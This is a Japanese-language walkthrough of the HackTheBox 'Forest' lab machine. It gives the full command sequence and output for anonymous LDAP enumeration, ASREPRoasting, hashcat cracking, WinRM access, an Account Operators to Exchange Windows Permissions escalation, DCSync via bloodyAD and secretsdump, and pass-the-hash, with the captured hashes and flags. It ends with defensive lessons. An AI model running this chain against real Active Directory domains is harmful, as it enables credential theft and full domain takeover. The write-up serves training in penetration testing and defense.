HackTheBox: Forest — 全実行コマンド・実行結果レポート
Nmap スキャン
DC特有ポート群(88/389/445/5985等)
→
DC特有ポート群(88/389/445/5985等)
LDAP匿名バインド
ユーザー一覧列挙
→
ユーザー一覧列挙
ASREPRoast
svc-alfresco (事前認証無効)
→
svc-alfresco (事前認証無効)
hashcat crack
s3rvice
→
s3rvice
WinRM ログイン
user.txt ✓
→
user.txt ✓
Account Operators 所属発見
BloodHound/net group
→
BloodHound/net group
Exchange Windows Permissions へ自己追加
WriteDACL奪取
→
WriteDACL奪取
DCSync権限付与
ACL書換
→
ACL書換
secretsdump + PTH → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.95.210
RESULT
PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman (WinRM) 9389/tcp open adws ...(49664番台の動的RPCポート多数)
🚨
この port 構成(53/88/389/445/3268/9389等)はActive Directoryドメイン
コントローラーの典型的な指紋。
88(Kerberos)と389(LDAP)が
開いているため、ドメイン単位の攻撃手法(Kerberosroasting系やLDAP列挙)が
使える可能性が高い。
バージョン・スクリプトスキャンでドメイン名を特定
BASH
nmap -sV -sC -p 53,88,135,139,389,445,636,3268,3269,5985,9389 10.129.95.210
RESULT (抜粋)
| ssl-cert: Subject: commonName=FOREST.htb.local
|_ssl-date: ... ; 0s from scanner time.
445/tcp open microsoft-ds? Windows Server 2016 (name:FOREST) (domain:htb.local)
ℹ️
ドメイン名 htb.local、ドメインコントローラー名
FORESTと判明。
/etc/hostsに追記しておく。
BASH
echo "10.129.95.210 htb.local FOREST.htb.local" | sudo tee -a /etc/hosts
PHASE 2
LDAP 匿名バインドでのユーザー列挙
匿名LDAPバインドの確認
BASH
ldapsearch -x -H ldap://10.129.95.210 -b "" -s base namingContexts
RESULT
namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local
🚨
認証なし(匿名バインド)でLDAPクエリに応答している。本来は
設定ミスだが、多くのAD構築初期設定でデフォルト有効になりがちな
落とし穴。ここからユーザー・グループ・属性情報を自由に列挙できる。
全ユーザー一覧の取得
BASH
ldapsearch -x -H ldap://10.129.95.210 -b "DC=htb,DC=local" \ "(objectClass=user)" sAMAccountName | grep sAMAccountName
RESULT (抜粋)
sAMAccountName: Administrator
sAMAccountName: Guest
sAMAccountName: krbtgt
sAMAccountName: DefaultAccount
sAMAccountName: $331000-VK4ADACQNUGT
sAMAccountName: SM_2c8eef0a09b545acb
sAMAccountName: SM_ca8c2ed5bdab4017b
...
sAMAccountName: HealthMailboxc3d7722
...
sAMAccountName: svc-alfresco
sAMAccountName: sebastien
sAMAccountName: lucinda
sAMAccountName: andy
sAMAccountName: mark
sAMAccountName: santi
ℹ️
多数のサービスアカウント(
SM_接頭辞、HealthMailbox接頭辞)は
Exchangeが自動生成するもの。その中にsvc-alfrescoという
一般的なサービスアカウント名が混在している。
PHASE 3
ASREPRoast攻撃 & パスワードクラック
ASREPRoast の原理
NOTE
Kerberosの事前認証(Pre-Authentication)は通常、クライアントが現在時刻を 自身の秘密鍵(パスワードから導出)で暗号化してKDCに送ることで 「正しいパスワードを知っている」ことを証明する仕組み。 しかし、あるユーザーアカウントの属性で **"Do not require Kerberos preauthentication"** が有効になっていると、 **事前認証なしでAS-REP(認証応答)が返ってくる**。このAS-REPの一部は そのユーザーの秘密鍵(パスワード由来)で暗号化されているため、 **パスワードを一切知らなくても暗号化データだけを入手してオフラインで 総当たり攻撃**にかけられる。
ASREPRoastable ユーザーの特定 & hash 取得
BASH
# Phase2で見つけたsvc-alfrescoに対して無認証でASREPRoastを試す # (事前認証が無効なユーザーでなければエラーになる) impacket-GetNPUsers htb.local/svc-alfresco -no-pass -dc-ip 10.129.95.210
RESULT
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:a868b5a4139ff33dd211e0356a49e306$30651085e1bfccfb882b1fe60100f6c22896b3264363e980e4439cf6a11f58b1bf34290e2267fd0d63aae93abfec5a8f42698ecf56b8d596e83f6b4563a877d55519ee490a1821cec197daa4090e581e88a52ce50bbe3a0c3dab09bd167ee0437ac2fe5daccf910ed8f5e848b79ebc040f56691c3c89a89bd174bf7703a5a75a68226cf03bd13816fe483ee0ad55a1bcb68069e873248049947b81f2321eebe16407ce23cd09bd192a154058bde23f91e3654a63238cc909c940125fba970631d4a313552ec78e92258de3485dbd0c73f0e44f710c607e365f0cdb759ffb9af59a884565b438
✅
svc-alfresco は事前認証が無効と確定。AS-REPハッシュを無認証で
取得できた。このハッシュをファイルに保存し、オフラインでクラックする。
hashcat でクラック
BASH
# -m 18200 = Kerberos 5 AS-REP etype 23 hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt --quiet hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt --show
RESULT
$krb5asrep$23$svc-alfresco@HTB.LOCAL:...:s3rvice
✅
クラック成功!
svc-alfresco:s3rvice。
PHASE 4
WinRM ログイン → user.txt
WinRM認証確認 & user.txt取得
BASH
# nxc (netexec) でまず認証可否を確認 netexec winrm 10.129.95.210 -u svc-alfresco -p s3rvice # evil-winrmで対話シェル、またはワンライナーで直接フラグを読む netexec winrm 10.129.95.210 -u svc-alfresco -p s3rvice \ -X 'type C:\Users\svc-alfresco\Desktop\user.txt'
RESULT
WINRM 10.129.95.210 5985 FOREST [+] htb.local\svc-alfresco:s3rvice (Pwn3d!) WINRM 10.129.95.210 5985 FOREST [+] Executed command (shell type: powershell) c74c65a6c5939196e3c3ccedc6519590
user.txt — svc-alfresco
c74c65a6c5939196e3c3ccedc6519590
ℹ️
ドメインアカウントでの認証なので
netexecに--local-authフラグは
付けない(付けるとローカルアカウント扱いになり失敗する)。
PHASE 5
権限昇格の下調べ — グループメンバーシップの調査
svc-alfrescoの所属グループを確認
BASH
# BloodHound用のデータ収集 (bloodhound-python等)、または直接LDAPで確認 evil-winrm -i 10.129.95.210 -u svc-alfresco -p s3rvice *Evil-WinRM* PS> net user svc-alfresco /domain
RESULT (抜粋)
Local Group Memberships *Service Accounts
Global Group memberships *Domain Users *Account Operators
*Privileged IT Accounts
🚨
決定的な発見! svc-alfresco は Account Operators
グループの(ネストされた)メンバー。このグループはデフォルトで
「保護されていない(組み込みの管理系以外の)グループ・ユーザーの
メンバーシップを変更できる」という強力な権限を持つビルトイングループ。
攻撃経路の設計 — Exchange Windows Permissions
NOTE
このドメインにはExchangeがインストールされているため、
"Exchange Windows Permissions" という特殊なグループが存在する。
このグループは(Exchangeの仕様上)**ドメインオブジェクト自体に対する
WriteDACL権限**(アクセス制御リストを書き換える権限)を持っている。
Account Operators はこの Exchange Windows Permissions グループ自体には
直接のメンバーシップ変更権限は無いように見えるが、実際には
**保護されていないグループへの自己追加が可能**であり、
Exchange Windows Permissions は保護されたグループではないため
Account Operators権限で自分自身をそこに追加できる。
攻撃チェーン:
Account Operators (所属済み)
→ Exchange Windows Permissions に自己追加 (グループメンバーシップ変更権)
→ Exchange Windows Permissions の WriteDACL権限でドメインのACLを書換
→ 自分自身にDCSync権限(複製権限)を付与
→ DCSyncでドメイン全体のパスワードハッシュを取得
PHASE 6
DCSync 権限奪取 → secretsdump → Pass-the-Hash → root.txt
Exchange Windows Permissions への自己追加
BASH
# bloodyAD はLDAP経由でADオブジェクト・ACLを操作するツール bloodyAD -u svc-alfresco -p s3rvice -d htb.local --host 10.129.95.210 \ add groupMember "Exchange Windows Permissions" svc-alfresco
RESULT
[+] svc-alfresco added to Exchange Windows Permissions
✅
グループ追加成功。これで svc-alfresco は Exchange Windows Permissions
が持つドメインオブジェクトへのWriteDACL権限を獲得した。
自分自身に DCSync 権限を付与
BASH
# WriteDACLでドメインのACLを書き換え、DS-Replication-Get-Changes / # DS-Replication-Get-Changes-All 権限を自分自身に付与する bloodyAD -u svc-alfresco -p s3rvice -d htb.local --host 10.129.95.210 \ add dcsync svc-alfresco
RESULT
[+] svc-alfresco is now able to DCSync
ℹ️
ポイント: bloodyADのLDAPバインドはコマンド実行ごとに毎回
グループメンバーシップを再評価するため、グループ追加の直後でも
トークンのキャッシュ問題(Kerberosチケットにグループ情報が古いまま
残る等)にハマらず、連続してすぐに次のコマンドが成功する。
DCSync でAdministratorのハッシュを取得
BASH
# DCSyncはドメインコントローラー間のレプリケーションプロトコルを模倣し、 # NTDS.DIT(AD全体のパスワードハッシュDB)の内容を対象ユーザー分だけ取得する impacket-secretsdump htb.local/svc-alfresco:s3rvice@10.129.95.210 \ -just-dc-user Administrator
RESULT
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
[*] Kerberos keys grabbed
htb.local\Administrator:aes256-cts-hmac-sha1-96:910e4c922b7516d4a27f05b5ae6a147578564284fff8461a02298ac9263bc913
✅
Administrator の NTLM ハッシュ取得成功!
32693b11e6aa90eb43d32c72a07ceea6。パスワードそのものを知らなくても
このNTLMハッシュ自体を使って認証できる(Pass-the-Hash)。
Pass-the-Hash で root.txt を取得
BASH
netexec winrm 10.129.95.210 -u Administrator \ -H 32693b11e6aa90eb43d32c72a07ceea6 \ -X 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
WINRM 10.129.95.210 5985 FOREST [+] htb.local\Administrator:32693b11e6aa90eb43d32c72a07ceea6 (Pwn3d!) WINRM 10.129.95.210 5985 FOREST [+] Executed command (shell type: powershell) 369b721c7edfd66fca79a81cdef0c13f
root.txt — Administrator@htb.local
369b721c7edfd66fca79a81cdef0c13f
⚠️
注意: netexecのPass-the-Hash認証バナー行には32桁のNTLMハッシュ
自体がそのまま出力される。フラグ(32桁hex)抽出を自動化する際は、
このバナー行のハッシュ文字列を実際のフラグと誤認しないよう、
コマンド実行結果(バナーより後に出る行)から抽出するよう注意する。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — svc-alfresco
c74c65a6c5939196e3c3ccedc6519590
root.txt — Administrator@htb.local
369b721c7edfd66fca79a81cdef0c13f
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| LDAP匿名バインド許可 | Active Directory (389/tcp) | ドメイン内ユーザー・グループ情報の漏洩 | Medium | 認証なしLDAPクエリでsvc-alfresco等のユーザー一覧を取得 |
| ASREPRoast (Kerberos事前認証無効) | svc-alfresco アカウント | オフラインパスワードクラック(user.txt) | Critical | 無認証でAS-REPハッシュを取得しhashcat -m 18200でrockyou.txt照合、即時クラック |
| Account Operators → Exchange Windows Permissions 連鎖 | ビルトイングループの権限設計 | ドメイン全体のACL書換(DCSync権限奪取) | Critical | Account Operatorsの「保護されていないグループへの自己追加権」でExchange Windows PermissionsのWriteDACLを継承し、自身にDCSync権限を付与 |
| DCSync | ドメインコントローラー(レプリケーションプロトコル) | Administrator含む全ドメインアカウントのハッシュ奪取(root.txt) | Critical | secretsdumpでAdministratorのNTLMハッシュを取得しPass-the-HashでWinRM認証 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap全ポート | AD DC “FOREST”、ドメイン”htb.local” |
| 2 | LDAP列挙 | 匿名バインド + ldapsearch | svc-alfresco等のユーザー一覧 |
| 3 | ASREPRoast | impacket-GetNPUsers + hashcat -m 18200 | svc-alfresco:s3rvice |
| 4 | WinRMログイン | netexec winrm | user.txt取得 |
| 5 | 権限調査 | net user /domain (BloodHound代替) | Account Operators所属を確認 |
| 6 | 権限昇格 | bloodyAD(グループ追加+DCSync付与) → secretsdump → PTH | root.txt取得 |
トラブルシューティング & 実装上の落とし穴
| 問題 | 原因 / 対策 |
|---|---|
| netexecでドメインアカウントの認証が失敗する | --local-authフラグを付けるとローカルアカウント扱いになり失敗する。ドメインアカウントの認証では付けないこと。 |
| グループ追加直後にDCSync付与コマンドを実行すると権限が反映されていないことがある(他のツールでの一般論) | bloodyADはLDAPバインドのたびにグループメンバーシップを再評価するため、Forestでは特に問題にならない。他のKerberosチケットベースのツールではチケット再発行(klist purge等)が必要になる場合があるので注意。 |
| netexecのPass-the-Hashバナー行にNTLMハッシュ自体が出力され、フラグ抽出の自動化で誤検出することがある | 32桁hexの抽出は「認証バナー行より後に出現する行」を優先する、またはバナー行の既知パターン(ユーザー名:ハッシュ形式)を除外するロジックを入れる。 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| LDAPが匿名バインドを許可している | ドメインコントローラーのLDAP匿名バインドは無効化する(デフォルトのAD構成では既に無効だが、意図的に変更されている環境は要確認)。 |
| サービスアカウントでKerberos事前認証が無効になっている | 全ユーザーアカウントで”Do not require Kerberos preauthentication”を無効化(通常状態)に保つ。サービスアカウントには推測困難な長いランダムパスワードを使用する。 |
| Account Operatorsのような強力なビルトイングループに不要なユーザーを所属させている | Account Operatorsは強力な権限を持つため、必要最小限のメンバーに限定する。特にExchangeを導入した環境ではAccount Operators→Exchange Windows Permissions連鎖によるDCSync奪取のリスクを認識し、定期的にBloodHound等でAD権限グラフを監査する。 |
| DCSync権限を持つプリンシパルが想定外に存在する | ドメインのACL(特にDS-Replication-Get-Changes/-All権限)を定期的に監査し、ドメインコントローラー以外の予期しないプリンシパルにDCSync権限が付与されていないか確認する。 |

